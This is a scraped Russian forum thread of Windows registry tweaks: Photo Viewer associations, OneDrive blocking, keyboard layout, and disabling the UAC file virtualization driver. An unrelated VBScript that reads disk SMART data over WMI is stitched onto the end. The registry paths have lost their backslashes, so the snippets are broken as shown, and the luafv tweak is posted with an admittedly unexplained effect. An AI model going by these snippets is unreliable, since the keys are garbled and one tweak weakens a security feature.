00,46,00,69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,
77,00,73,00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,
00,65,00,72,00,5c,00,50,00,68,00,6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,
65,00,72,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,35,00,36,00,00,
00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.BitmapDefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-70″
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Bitmapshell]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Bitmapshellopen]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Bitmapshellopencommand]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,75,00,
6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,
00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,00,65,00,73,00,
25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,50,00,68,00,6f,
00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,72,00,5c,00,50,00,68,00,
6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,65,00,72,00,2e,00,64,00,6c,00,6c,
00,22,00,2c,00,20,00,49,00,6d,00,61,00,67,00,65,00,56,00,69,00,65,00,77,00,
5f,00,46,00,75,00,6c,00,6c,00,73,00,63,00,72,00,65,00,65,00,6e,00,20,00,25,
00,31,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.BitmapshellopenDropTarget]
«Clsid»=»{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}»
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JFIF]
«EditFlags»=dword:00010000
«ImageOptionFlags»=dword:00000001
«FriendlyTypeName»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,
00,46,00,69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,
77,00,73,00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,
00,65,00,72,00,5c,00,50,00,68,00,6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,
65,00,72,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,35,00,35,00,00,
00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JFIFDefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-72″
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JFIFshell]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JFIFshellopen]
«MuiVerb»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,
69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,
00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,
72,00,5c,00,70,00,68,00,6f,00,74,00,6f,00,76,00,69,00,65,00,77,00,65,00,72,
00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,34,00,33,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JFIFshellopencommand]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,75,00,
6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,
00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,00,65,00,73,00,
25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,50,00,68,00,6f,
00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,72,00,5c,00,50,00,68,00,
6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,65,00,72,00,2e,00,64,00,6c,00,6c,
00,22,00,2c,00,20,00,49,00,6d,00,61,00,67,00,65,00,56,00,69,00,65,00,77,00,
5f,00,46,00,75,00,6c,00,6c,00,73,00,63,00,72,00,65,00,65,00,6e,00,20,00,25,
00,31,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JFIFshellopenDropTarget]
«Clsid»=»{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}»
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Jpeg]
«EditFlags»=dword:00010000
«ImageOptionFlags»=dword:00000001
«FriendlyTypeName»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,
00,46,00,69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,
77,00,73,00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,
00,65,00,72,00,5c,00,50,00,68,00,6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,
65,00,72,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,35,00,35,00,00,
00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JpegDefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-72″
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Jpegshell]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Jpegshellopen]
«MuiVerb»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,
69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,
00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,
72,00,5c,00,70,00,68,00,6f,00,74,00,6f,00,76,00,69,00,65,00,77,00,65,00,72,
00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,34,00,33,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Jpegshellopencommand]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,75,00,
6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,
00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,00,65,00,73,00,
25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,50,00,68,00,6f,
00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,72,00,5c,00,50,00,68,00,
6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,65,00,72,00,2e,00,64,00,6c,00,6c,
00,22,00,2c,00,20,00,49,00,6d,00,61,00,67,00,65,00,56,00,69,00,65,00,77,00,
5f,00,46,00,75,00,6c,00,6c,00,73,00,63,00,72,00,65,00,65,00,6e,00,20,00,25,
00,31,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.JpegshellopenDropTarget]
«Clsid»=»{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}»
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Gif]
«ImageOptionFlags»=dword:00000001
«FriendlyTypeName»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,
00,46,00,69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,
77,00,73,00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,
00,65,00,72,00,5c,00,50,00,68,00,6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,
65,00,72,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,35,00,37,00,00,
00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.GifDefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-83″
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Gifshell]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Gifshellopen]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Gifshellopencommand]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,75,00,
6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,
00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,00,65,00,73,00,
25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,50,00,68,00,6f,
00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,72,00,5c,00,50,00,68,00,
6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,65,00,72,00,2e,00,64,00,6c,00,6c,
00,22,00,2c,00,20,00,49,00,6d,00,61,00,67,00,65,00,56,00,69,00,65,00,77,00,
5f,00,46,00,75,00,6c,00,6c,00,73,00,63,00,72,00,65,00,65,00,6e,00,20,00,25,
00,31,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.GifshellopenDropTarget]
«Clsid»=»{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}»
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Png]
«ImageOptionFlags»=dword:00000001
«FriendlyTypeName»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,
00,46,00,69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,
77,00,73,00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,
00,65,00,72,00,5c,00,50,00,68,00,6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,
65,00,72,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,35,00,37,00,00,
00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.PngDefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-71″
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Pngshell]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Pngshellopen]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Pngshellopencommand]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,75,00,
6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,
00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,00,65,00,73,00,
25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,50,00,68,00,6f,
00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,72,00,5c,00,50,00,68,00,
6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,65,00,72,00,2e,00,64,00,6c,00,6c,
00,22,00,2c,00,20,00,49,00,6d,00,61,00,67,00,65,00,56,00,69,00,65,00,77,00,
5f,00,46,00,75,00,6c,00,6c,00,73,00,63,00,72,00,65,00,65,00,6e,00,20,00,25,
00,31,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.PngshellopenDropTarget]
«Clsid»=»{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}»
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Wdp]
«EditFlags»=dword:00010000
«ImageOptionFlags»=dword:00000001
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.WdpDefaultIcon]
@=»%SystemRoot%\System32\wmphoto.dll,-400″
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Wdpshell]
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Wdpshellopen]
«MuiVerb»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,
69,00,6c,00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,
00,20,00,50,00,68,00,6f,00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,
72,00,5c,00,70,00,68,00,6f,00,74,00,6f,00,76,00,69,00,65,00,77,00,65,00,72,
00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,33,00,30,00,34,00,33,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Wdpshellopencommand]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,75,00,
6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,
00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,00,65,00,73,00,
25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,50,00,68,00,6f,
00,74,00,6f,00,20,00,56,00,69,00,65,00,77,00,65,00,72,00,5c,00,50,00,68,00,
6f,00,74,00,6f,00,56,00,69,00,65,00,77,00,65,00,72,00,2e,00,64,00,6c,00,6c,
00,22,00,2c,00,20,00,49,00,6d,00,61,00,67,00,65,00,56,00,69,00,65,00,77,00,
5f,00,46,00,75,00,6c,00,6c,00,73,00,63,00,72,00,65,00,65,00,6e,00,20,00,25,
00,31,00,00,00
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.WdpshellopenDropTarget]
«Clsid»=»{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows Photo Viewer]
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows Photo ViewerCapabilities]
«ApplicationDescription»=»@%ProgramFiles%\Windows Photo Viewer\photoviewer.dll,-3069»
«ApplicationName»=»@%ProgramFiles%\Windows Photo Viewer\photoviewer.dll,-3009»
[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutorrent.exe]
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutorrent.exe]
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutorrent.exePerfOptions]
«PagePriority»=dword:00000001

Последний раз редактировалось: dimo70 (2019-09-08 21:02), всего редактировалось 2 раз(а)

Отправлено: 04-Сен-2019 22:25
(спустя 11 часов)

lowe.story

Стаж: 5 лет 10 месяцев
Сообщений: 51
Репутация:6[+] [-]

Меня терзают смутные сомнения . . И еще один супер мощный твик для всех ОС

Отправлено: 05-Сен-2019 07:53
(спустя 9 часов)

xowlet

Стаж: 7 лет 7 месяцев
Сообщений: 169
Репутация:6[+] [-]

Последний раз редактировалось: xowlet (2019-09-05 10:02), всего редактировалось 1 раз

Отправлено: 05-Сен-2019 08:21
(спустя 28 минут)

Отправлено: 05-Сен-2019 10:13
(спустя 1 час 51 минута)

timon45

Стаж: 6 лет 11 месяцев
Сообщений: 82
Репутация:5[+] [-]
Откуда: Беларусь

69964

[HKEY_CURRENT_USERControl PanelDesktopWindowMetrics]
«MinAnimate»=»0»

данный твик у вас в 3-х местах
ещё очень интересный твик для 7-ки редко встречаемый

[HKEY_CURRENT_USERControl PanelDesktopWindowMetrics]
;Уменьшить ширину границ окна (-15,-30,-45 по умолчанию -60)
«PaddedBorderWidth»=»0»

Универсальным для всех ОС я бы его не назвал для для 10ки многие работать не будут
А тек есть что подметить их бы привести в нормальный вид по категориям и комментарии на всё
Есть еще один давно его использую но подтверждения или подробного объяснения того что он делает я так и не нашел, если кто знает я весь во внимании

; UAC File Virtualization Driver отвечает за виртуализацию реестра и файлов.
; Если UAC отключен, то этот драйвер довольно серьёзно тормозит систему при загрузке.
; Отключить UAC File Virtualization Driver: (включить «Start»=dword:00000002)
[HKEY_LOCAL_MACHINESYSTEMControlSet001servicesluafv]
«Start»=dword:00000004
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesluafv]
«Start»=dword:00000004

Отправлено: 05-Сен-2019 10:23
(спустя 10 минут)

xowlet

Стаж: 7 лет 7 месяцев
Сообщений: 169
Репутация:6[+] [-]

Написал же. Не все твики с пояснениями.
Сделай конкретные комментарий для каждого твика.
Предложение для развития: — сгруппировать по назначению, реализовать — «установить», — «вернуть».
Идеально с интерфейсом — открыть, установить или снять галочки, выполнить.

Отправлено: 05-Сен-2019 10:31
(спустя 7 минут)

dimo70

Стаж: 5 лет 2 месяца
Сообщений: 3838
Репутация:47[+] [-]
Откуда: BG

timon45, твик быстро делал, возможно не зачистил там все лишнее.
Спасибо вам за UAC tweak.
Так как вижу что всех твики волнуют больше, предоставлю еще один такой код для блокировки onedrive.

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun]
«OneDrive»=hex:03,00,00,00,B5,E7,3D,23,0D,EC,D3,01
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun]
«OneDriveSetup»=hex:03,00,00,00,E7,BC,AF,9F,2B,EC,D3,01
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsOneDrive]
«DisableFileSyncNGSC»=dword:00000001
[HKEY_CLASSES_ROOTCLSID{018D5C66-4533-4307-9B53-224DE2ED1FE6}]
@=»OneDrive»
«System.IsPinnedToNameSpaceTree»=dword:00000000
[HKEY_CLASSES_ROOTWOW6432NodeCLSID{018D5C66-4533-4307-9B53-224DE2ED1FE6}]
@=»OneDrive»
«System.IsPinnedToNameSpaceTree»=dword:00000000

Последний раз редактировалось: dimo70 (2019-09-05 10:48), всего редактировалось 1 раз

Отправлено: 05-Сен-2019 10:45
(спустя 14 минут)

lowe.story

Стаж: 5 лет 10 месяцев
Сообщений: 51
Репутация:6[+] [-]

Самый лучший твик — не трогать ничего.
Разработчик предостовляет наиболее по своему мнению унивирсальную (усреднённую) систему.
В реальном использовании всегда что то можно и улучшить, конкретно под каждый комп и задачи.

Отправлено: 05-Сен-2019 10:53
(спустя 7 минут)

dimo70

Стаж: 5 лет 2 месяца
Сообщений: 3838
Репутация:47[+] [-]
Откуда: BG

lowe.story, в принципе вы правы. Лучше не трогать.
Но! , есть такая проблемма, что майки совсем уже озверели и напрямую издевательствуют над нами со своиме дополнениями, которые никому не нужны.
Я например больше половину из функции Windows 10 вообще не пользую. Кортана, OneDrive, Windows Search, Windows Backup и еще много чего, трудно вес етот хлам в голову держать.
Давно переехал на LTSC уже с твиками.

Отправлено: 05-Сен-2019 11:40
(спустя 46 минут)

xowlet

Стаж: 7 лет 7 месяцев
Сообщений: 169
Репутация:6[+] [-]

lowe.story
Тема называется «Полезные и нужные команды и батники».
Здесь не обсуждается необходимость в твиках.
Предложения,…предложения,…предложения,…

Отправлено: 05-Сен-2019 11:42
(спустя 2 минуты)

dimo70

Стаж: 5 лет 2 месяца
Сообщений: 3838
Репутация:47[+] [-]
Откуда: BG

xowlet, ну и ладушки. Подключил твики в тему.
Твики в принципе командные и .reg файлы и батники, которые входят в тему.
ЗЯ Думал еще делиться, но раз никто не хочеть, я тоже не буду.

Отправлено: 07-Сен-2019 17:02
(спустя 2 дня 5 часов)

gera_serg

Стаж: 7 лет 6 месяцев
Сообщений: 1421
Репутация:9[+] [-]

Английский при входе w7

[HKEY_USERS.DEFAULTKeyboard LayoutPreload]
«2»=»00000419″
«1»=»00000409″

Keyboard Ctrl+Shift

[HKEY_CURRENT_USERKeyboard Layout]
[HKEY_CURRENT_USERKeyboard LayoutPreload]
«1» = «00000409»
«2» = «00000419»
[HKEY_CURRENT_USERKeyboard LayoutSubstitutes]
[HKEY_CURRENT_USERKeyboard LayoutToggle]
«Hotkey» = «2»
«Language Hotkey» = «2»
«Layout Hotkey» = «3»

NUM-Keyboard ON

[HKEY_USERS.DEFAULTControl PanelKeyboard]
«InitialKeyboardIndicators»=»800000002»
«KeyboardDelay»=»1»
«KeyboardSpeed»=»31»

Отправлено: 07-Сен-2019 17:21
(спустя 19 минут)

dimo70

Стаж: 5 лет 2 месяца
Сообщений: 3838
Репутация:47[+] [-]
Откуда: BG

gera_serg, первый рег понравился. Он только в 7 работает?

Отправлено: 07-Сен-2019 17:41
(спустя 20 минут)

Ander_73

Стаж: 6 лет
Сообщений: 3144
Репутация:127[+] [-]

dimo70, это работает начиная с ХР и до сих пор (10).

Отправлено: 07-Сен-2019 17:58
(спустя 17 минут)

Viktor_Kisel

Стаж: 7 лет
Сообщений: 625
Репутация:42[+] [-]

Кстати, хочу открыть тему по твика реестра для WinXP-10. Если по XP более менее все понятно, то Win7-10 не все.
Или сюда можно писать?

Страница 1 из 3

Текущее время: 08-Фев 01:29

Часовой пояс: UTC + 3

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы можете скачивать файлы

Источник

'==========================================================================
'
' AUTHOR: Леонид_33
' NAME: HDD_Smart.vbs
'
' Скрипт для получения SMARTа HDD
' Может брать SMART как с локальной так и удаленной машины с выводом результата в файл в формате CSV
' При запуске скрипта выдается окно ввода имени(IP) машины с учетными данными
' Если хотим получить SMART с локальной машины, то ничего не указываем, если с удаленной, указываем имя(IP) машины, и, если надо, учетные данные
' Работает на WindowsXP(SP2,SP3), Windows2003SP2, Windows2008SP1
' Берет SMART через WMI, поэтому, что винда отдает, то отдает т.е.
' работает только со стандартно подключенными на мать HDD IDE и SATA
' Как бы того не хотелось, НЕ РАБОТАЕТ с рэйдами.
' Ну не видит винда SMARTов с этих винтов и все тут.
'
' Если что по атрибутам неясно, можно глянуть тут
' http://en.wikipedia.org/wiki/Self-Monitoring%2C_Analysis%2C_and_Reporting_Technology
'
'==========================================================================

if not isAdminRights then call Elevate(""): WScript.Quit

Dim strComputer
Dim strLogin
Dim strPassword
On Error Resume Next
'GetPassword()
   strComputer = "."
   strLogin = ""
   strPassword = ""


If strLogin = "" or strComputer = "." then
   Set    objWMIService = GetObject("winmgmts:\" & strComputer & "rootWMI")
else
   Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
   Set objWMIService = objSWbemLocator.ConnectServer(strComputer, _
      "rootCIMV2", _
      strLogin, _
      strPassword, _
      "MS_409")
end If

    Set    SmartDataItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictData", "WQL", 48)

    InstanceName = Array()
    SmartData = Array()
    SmartLength = Array()
    RowCount = 0
    For Each objItem In SmartDataItems
          Redim Preserve InstanceName(RowCount)
          InstanceName(RowCount) = objItem.InstanceName
          Redim Preserve SmartData(RowCount)
          SmartData(RowCount) = objItem.VendorSpecific
          Redim Preserve SmartLength(RowCount)
          SmartLength(RowCount) = objItem.Length
          RowCount = RowCount + 1
    Next
    Set    SmartDataItems = Nothing

    ThresholdData = Array()
    Redim Preserve ThresholdData(RowCount)
    PredictFailure = Array()
    Redim Preserve PredictFailure(RowCount)
    Reason = Array()
    Redim Preserve Reason(RowCount)

    RowCount = 0
    Set    ThresholdItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictThresholds", "WQL", 48)
    For Each objItem In ThresholdItems
          ThresholdData(RowCount) = objItem.VendorSpecific
          RowCount = RowCount + 1
    Next
    Set    ThresholdItems = Nothing

    RowCount = 0
    Set    PredictStatusItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictStatus", "WQL", 48)
    For Each objItem In PredictStatusItems
          PredictFailure(RowCount) = objItem.PredictFailure
          Reason(RowCount) = objItem.Reason
          RowCount = RowCount + 1
    Next
    Set    PredictStatusItems = Nothing

    Set oDict = CreateObject("Scripting.Dictionary")
    CreateDict(oDict)

    Set objFSO = CreateObject("Scripting.FileSystemObject")
 
    If strComputer = "." then
       'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart.csv", 2, True)
       Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart.csv", 2, True)
    else
       'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart_" & strComputer & ".csv", 2, True)
       Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart_" & strComputer & ".csv", 2, True)
    end If

    For CurrentDisk = 0 to RowCount - 1
         objTextFile.WriteLine("Drive: " & Replace(Mid(InstanceName(CurrentDisk), 9, InStr(InstanceName(CurrentDisk), "__") - 9), "_", " "))
         objTextFile.WriteLine("PredictFailure: " & PredictFailure(CurrentDisk))
         objTextFile.WriteLine("Reason: " & Reason(CurrentDisk))
         objTextFile.WriteLine("ID;Attribute;Type;Flag;Threshold;Value;Worst;Raw;Status;")
         aSmartData = SmartData(CurrentDisk)
         aThresholdData = ThresholdData(CurrentDisk)

         If IsArray(aSmartData) AND IsArray(aThresholdData) Then
             LastID = 0
             For x = 2 To SmartLength(CurrentDisk) + 2 Step 12
                  If LastID > aSmartData(x)  then
                     x = 514
                  else
                     LastID = aSmartData(x)                   

                  If aSmartData(x) <> 0 Then
                      objTextFile.Write(aSmartData(x) & ";")
                      If oDict.Item(aSmartData(x)) = "" Then
                            objTextFile.Write("VendorSpecific(" & aSmartData(x) & ");")
                      else
                            objTextFile.Write(oDict.Item(aSmartData(x)) & ";")
                      end If

                      If aSmartData(x + 1) MOD 2 Then
                            objTextFile.Write("Pre-Failure;")
                      Else
                            objTextFile.Write("Advisory;")
                      End If

'                      objTextFile.Write(aSmartData(x + 1) & ";")
                      aFlag = aSmartData(x + 1)
                      txtFlag = ""
                      If (aFlag And &H1) <> 0 Then txtFlag = "LC," End If
                      If (aFlag And &H2) <> 0 Then txtFlag = txtFlag & "OC," End If
                      If (aFlag And &H4) <> 0 Then txtFlag = txtFlag & "PR," End If
                      If (aFlag And &H8) <> 0 Then txtFlag = txtFlag &  "ER," End If
                      If (aFlag And &H10) <> 0 Then txtFlag = txtFlag &  "EC," End If
                      If (aFlag And &H20) <> 0 Then txtFlag = txtFlag &  "SP," End If
                      If txtFlag <> "" then
                         txtFlag = Left(txtFlag, Len(txtFlag)-1 )
                      end If
                      objTextFile.Write txtFlag & ";"

                      objTextFile.Write(aThresholdData(x + 1) & ";") 'Threshold
                      objTextFile.Write(aSmartData(x + 3) & ";")      'Value
                      objTextFile.Write(aSmartData(x + 4) & ";")      'Worst
                      objTextFile.Write((aSmartData(x + 8) * 65536 + aSmartData(x + 7) * 4096 + aSmartData(x + 6) * 256 + aSmartData(x + 5)) & ";")      'Raw
                      If aSmartData(x + 3) >= aThresholdData(x + 1) Then
                           objTextFile.WriteLine("OK;")
                      else
                           objTextFile.WriteLine("NOT OK;")
                      end If
                  end If
                  end If
             Next
         else
             objTextFile.WriteLine("NO DRIVE WITH SMART FOUND;")
         end If
         'objTextFile.WriteLine
    Next

    objTextFile.WriteLine
    objTextFile.WriteLine("LC - life critical;")
    objTextFile.WriteLine("OC - online collection;")
    objTextFile.WriteLine("PR - performance related;")
    objTextFile.WriteLine("ER - error rate;")
    objTextFile.WriteLine("EC - event count;")
    objTextFile.WriteLine("SP - self preserving;")
    objTextFile.Close

    Wscript.echo "HDD_SMART Is Done!"

Function CreateDict(oDict)
    oDict.Add 1, "Raw Read Error Rate"
    oDict.Add 2, "Throughput Performance"
    oDict.Add 3, "Spin-Up Time"
    oDict.Add 4, "Start/Stop Count"
    oDict.Add 5, "Reallocated Sectors Count"
    oDict.Add 6, "Read Channel Margin"
    oDict.Add 7, "Seek Error Rate Rate"
    oDict.Add 8, "Seek Time Performance"
    oDict.Add 9, "Power-On Hours (POH)"
    oDict.Add 10, "Spin Retry Count"
    oDict.Add 11, "Recalibration Retries Count"
    oDict.Add 12, "Device Power Cycle Count"
    oDict.Add 13, "Soft Read Error Rate"
    oDict.Add 190, "HDA Temperature"
    oDict.Add 191, "G-Sense Error Rate Frequency"
    oDict.Add 192, "Power-Off Park Count"
    oDict.Add 193, "Load/Unload Cycle Count"
    oDict.Add 194, "HDA Temperature"
    oDict.Add 195, "Hardware ECC Corrected Count"
    oDict.Add 196, "Reallocated Event Count"
    oDict.Add 197, "Current Pending Sector Count"
    oDict.Add 198, "Off-Line Scan Uncorrectable Sector Count"
    oDict.Add 199, "UltraDMA CRC Error Count"
    oDict.Add 200, "Write Error Rate"
    oDict.Add 201, "Soft Read Error Rate"
    oDict.Add 202, "Address Mark Errors Frequency"
    oDict.Add 203, "ECC errors (Maxtor: ECC Errors)"
    oDict.Add 204, "Soft ECC Correction"
    oDict.Add 205, "Thermal Asperity Rate (TAR)"
    oDict.Add 206, "Flying Height"
    oDict.Add 207, "Spin High Current"
    oDict.Add 208, "Spin Buzz"
    oDict.Add 209, "Offline Seek Perfomance"
    oDict.Add 210, "Vibration During Write"
    oDict.Add 211, "Vibration During Read"
    oDict.Add 212, "Shock During Write"
    oDict.Add 220, "Disk Shift"
    oDict.Add 221, "G-Sense Error Rate"
    oDict.Add 222, "Loaded Hours"
    oDict.Add 223, "Load/Unload Retry Count"
